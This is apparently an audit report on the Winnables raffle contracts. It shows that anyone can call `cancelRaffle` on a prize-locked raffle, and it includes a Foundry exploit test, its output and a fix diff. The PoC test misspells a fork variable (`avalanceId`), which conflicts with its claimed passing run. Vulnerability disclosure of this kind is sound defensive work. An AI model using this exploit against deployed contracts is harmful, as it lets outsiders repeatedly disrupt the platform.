Radiant Zinc Gecko

Medium

# Lack of Access Control on Raffle Cancellation Allows Arbitrary Users to Disrupt Raffle Creation

## Summary:

An external user can arbitrarily cancel a raffle that has already locked the prize in the `WinnablesPrizeManager` contract. This vulnerability arises because the `cancelRaffle` function in the `WinnablesTicketManager` does not properly restrict who can cancel a raffle, and the `_checkShouldCancel` function allows the function to return instead of reverting when the raffle status is `PRIZE_LOCKED`. This can lead to the admin being forced to re-lock ETH in the `PrizeManager`, causing a denial of service and potential disruption in the raffle creation process.

## Vulnerability Detail:

1. **Raffle Creation Process:**

   - The admin locks ETH in the `WinnablesPrizeManager` contract.
   - A CCIP message is sent from the `PrizeManager` to the `TicketManager`, confirming that the prize is locked and allowing the raffle to be created.

2. **Vulnerability in `cancelRaffle` Function:**

   - The `cancelRaffle` function in `WinnablesTicketManager` is external, meaning any user can call it.
   - The internal `_checkShouldCancel` function does not revert but returns if the raffle status is `PRIZE_LOCKED`. This means the function continues execution instead of stopping.

3. **Raffle Status Changes to `CANCELED`:**

   - After the arbitrary user calls `cancelRaffle`, the raffle status changes to `CANCELED`.
   - The `cancelRaffle` function sends a CCIP message to the `PrizeManager`.

4. **Resetting Locked ETH in `WinnablesPrizeManager`:**

   - The `PrizeManager`'s `_ccipReceive` function receives the message and calls `_cancelRaffle`.
   - The `_cancelRaffle` function unlocks the previously locked ETH by setting `_ethLocked` back to 0.

5. **Admin Forced to Repeat the Process:**
   - Because the raffle is now canceled and the ETH is unlocked, the admin must re-lock the ETH and send another CCIP message to recreate the raffle.
   - This causes a denial of service, as any arbitrary user can force the admin to repeat the process, delaying or preventing the raffle from being created.

## **Impact:**

- **Denial of Service:** An arbitrary user can cancel a raffle repeatedly, preventing the admin from successfully creating the raffle.
- **Re-Locking of Assets:** The admin is forced to re-lock ETH every time a raffle is canceled, wasting gas and resources.
- **Potential Exploit:** This vulnerability can be exploited maliciously to disrupt the operation of the raffle system, causing loss of user trust and disruption of the platform's services.

## Code Snippet:

https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441

https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288

## Proof of Concept (PoC):

1. **Step 1: Admin Locks ETH in Prize Manager**

   - The admin locks 10 ETH in the `WinnablesPrizeManager`.
   - The `PrizeManager` sends a CCIP message to the `TicketManager` confirming that the prize is locked.

2. **Step 2: Arbitrary User Calls `cancelRaffle`**

   - An arbitrary user calls the `cancelRaffle` function on the `WinnablesTicketManager`.
   - Since the raffle status is `PRIZE_LOCKED`, `_checkShouldCancel` does not revert but instead allows the function to proceed.

3. **Step 3: Raffle Status Changes to `CANCELED`**

   - The `cancelRaffle` function changes the raffle status to `CANCELED` and sends a CCIP message back to the `PrizeManager`.
   - The admin cannot create the raffle because the raffle status is `CANCELED`.

4. **Step 4: ETH Unlocked in Prize Manager**

   - The `PrizeManager` receives the CCIP message, and the `_cancelRaffle` function is called.
   - `_ethLocked` is reset to 0, unlocking the ETH.

5. **Step 5: Admin Must Re-Lock ETH**

   - The admin is forced to lock the ETH again and send a new CCIP message to restart the raffle creation process.

6. **Step 6: Repeated Attack**
   - The arbitrary user can repeatedly call `cancelRaffle`, preventing the raffle from ever being successfully created.

## Proof Of Code:

**Here is the command to run the PoC:**

```bash
npm install @chainlink/local
forge test --mt test_Bluedragon_RaffleCanBeCanceledByAnyone -vvvv --via-ir
```

**Here is the PoC code:**

```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {WinnablesTicketManager} from "../contracts/WinnablesTicketManager.sol";
import {WinnablesPrizeManager} from "../contracts/WinnablesPrizeManager.sol";
import {WinnablesTicket} from "../contracts/WinnablesTicket.sol";
import {IWinnablesPrizeManager} from "../contracts/interfaces/IWinnablesPrizeManager.sol";
import {VRFCoordinatorV2Interface} from "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol";
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol";
import {IRouter} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouter.sol";
import "../contracts/interfaces/IWinnablesTicketManager.sol";
import {CCIPLocalSimulatorFork, Register} from "@chainlink/local/src/ccip/CCIPLocalSimulatorFork.sol";

contract BugTest is Test {
    WinnablesTicketManager public ticketManager;
    WinnablesPrizeManager public prizeManager;
    WinnablesTicket public tickets;
    CCIPLocalSimulatorFork public ccipSimulator;
    address public vrfCoordinatorSepolia;
    address public vrfCoordinatorAvalanche;
    address public linkTokenSepolia;
    address public linkTokenAvanlanche;
    address public ccipRouterSepolia;
    address public ccipRouterAvalanche;
    bytes32 public keyHash_Sepolia;
    bytes32 public keyHash_Avalanche;
    address public admin;
    address public api;
    uint256 public api_key;
    address public buyer1;
    address public buyer2;
    uint256 public subscriptionId;
    uint64 public constant sepoliaChainSelector = 16015286601757825753;
    uint64 public constant avalancheChainSelector = 14767482510784806043;
    uint256 public sepoliaId;
    uint256 public avalancheId;

    function setUp() public {
        sepoliaId = vm.createFork("https://1rpc.io/sepolia");
        avalancheId = vm.createFork("https://avalanche-fuji-c-chain-rpc.publicnode.com");
        vm.selectFork(sepoliaId);
        ccipSimulator = new CCIPLocalSimulatorFork();
        vm.makePersistent(address(ccipSimulator));
        admin = makeAddr("admin");
        (api, api_key) = makeAddrAndKey("api");
        (buyer1) = makeAddr("buyer1");
        (buyer2) = makeAddr("buyer2");
        // Funding
        deal(admin, 100e18);

        // Sepolia Testnet configs
        linkTokenSepolia = 0x779877A7B0D9E8603169DdbD7836e478b4624789;
        ccipRouterSepolia = 0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59;
        vrfCoordinatorSepolia = 0x8103B0A8A00be2DDC778e6e7eaa21791Cd364625;
        keyHash_Sepolia = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae;

        // Avalanche Testnet configs
        linkTokenAvanlanche = 0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846;
        ccipRouterAvalanche = 0xF694E193200268f9a4868e4Aa017A0118C9a8177;
        vrfCoordinatorAvalanche = 0x2eD832Ba664535e5886b75D64C46EB9a228C2610;
        keyHash_Avalanche = 0x354d2f95da55398f44b7cff77da56283d9c6c829a4bdf1bbcaf2ad6a4d081f61;

        deal(linkTokenSepolia, admin, 100e18);
        vm.startPrank(admin);
        prizeManager = new WinnablesPrizeManager(linkTokenSepolia, ccipRouterSepolia);
        LinkTokenInterface(linkTokenSepolia).transfer(address(prizeManager), 15e18);
        vm.stopPrank();

        vm.selectFork(avalancheId);
        deal(buyer1, 100e18);
        deal(buyer2, 100e18);
        vm.startPrank(admin);
        subscriptionId = VRFCoordinatorV2Interface(vrfCoordinatorAvalanche).createSubscription();
        tickets = new WinnablesTicket();
        ticketManager = new WinnablesTicketManager(
            linkTokenAvanlanche,
            vrfCoordinatorAvalanche,
            uint64(subscriptionId),
            keyHash_Avalanche,
            address(tickets),
            ccipRouterAvalanche
        );
        deal(linkTokenAvanlanche, address(ticketManager), 100e18);
        VRFCoordinatorV2Interface(vrfCoordinatorAvalanche).addConsumer(uint64(subscriptionId), address(ticketManager));
        ticketManager.setCCIPCounterpart(address(prizeManager), sepoliaChainSelector, true);
        ticketManager.setRole(api, 1, true);
        tickets.setRole(address(ticketManager), 1, true);
        vm.stopPrank();

        vm.selectFork(sepoliaId);
        vm.prank(admin);
        prizeManager.setCCIPCounterpart(address(ticketManager), avalancheChainSelector, true);
    }

    function test_Bluedragon_RaffleCanBeCanceledByAnyone() public {
        uint256 raffleId = 1;
        uint256 ethValue = 10 ether;
        // locking the eth in prize manager
        lockEth(raffleId, ethValue);

        // arbitrary address cancel's the raffle
        vm.startPrank(buyer1);
        ticketManager.cancelRaffle(address(prizeManager), sepoliaChainSelector, raffleId);
        ccipSimulator.switchChainAndRouteMessage(sepoliaId);
        vm.stopPrank();

         vm.selectFork(avalanceId);
        (,,,,,, IWinnables.RaffleStatus status,) = ticketManager.getRaffle(raffleId);
        console.log("Raffle status: ", uint256(status), "Means raffle is canceled");
        assertEq(uint256(status), 7);

        // admin cannot create the raffle
        vm.expectRevert(IWinnablesTicketManager.PrizeNotLocked.selector);
        vm.startPrank(admin);
        ticketManager.createRaffle(raffleId, uint64(block.timestamp), uint64(block.timestamp + 1000), 5, 10, 10);
        vm.stopPrank();
    }

    function lockEth(uint256 raffleId, uint256 ethValue) internal {
        vm.selectFork(sepoliaId);
        vm.startPrank(admin);
        prizeManager.lockETH{value: ethValue}(address(ticketManager), avalancheChainSelector, raffleId, ethValue);
        vm.stopPrank();

        ccipSimulator.switchChainAndRouteMessage(avalancheId);
    }
}
```

**Here is the output of the PoC:**

```bash
Ran 1 test for test/BugTest.t.sol:BugTest
[PASS] test_Bluedragon_RaffleCanBeCanceledByAnyone() (gas: 383696)
Logs:
  Raffle status:  7 Means raffle is canceled
```

## Tools Used:

- Manual Review

## Recommendations:

1. **Restrict Access to `cancelRaffle`:**

   - Implement proper access control on the `cancelRaffle` function, allowing only authorized users (e.g., the admin or specific roles) to cancel a raffle.
   - Consider using a modifier like `onlyRole(0)` or `onlyOwner`.

2. **Update `_checkShouldCancel`:**

   - Modify the `_checkShouldCancel` function to revert if the raffle status is `PRIZE_LOCKED` instead of returning. This ensures that the raffle cannot be canceled once the prize is locked.

```diff
function _checkShouldCancel(uint256 raffleId) internal view {
        Raffle storage raffle = _raffles[raffleId];
-       if (raffle.status == RaffleStatus.PRIZE_LOCKED) return;
+       if (raffle.status == RaffleStatus.PRIZE_LOCKED) revert RaffleIsLocked();
        if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle();
        if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen();
        uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId);
        if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached();
    }
```
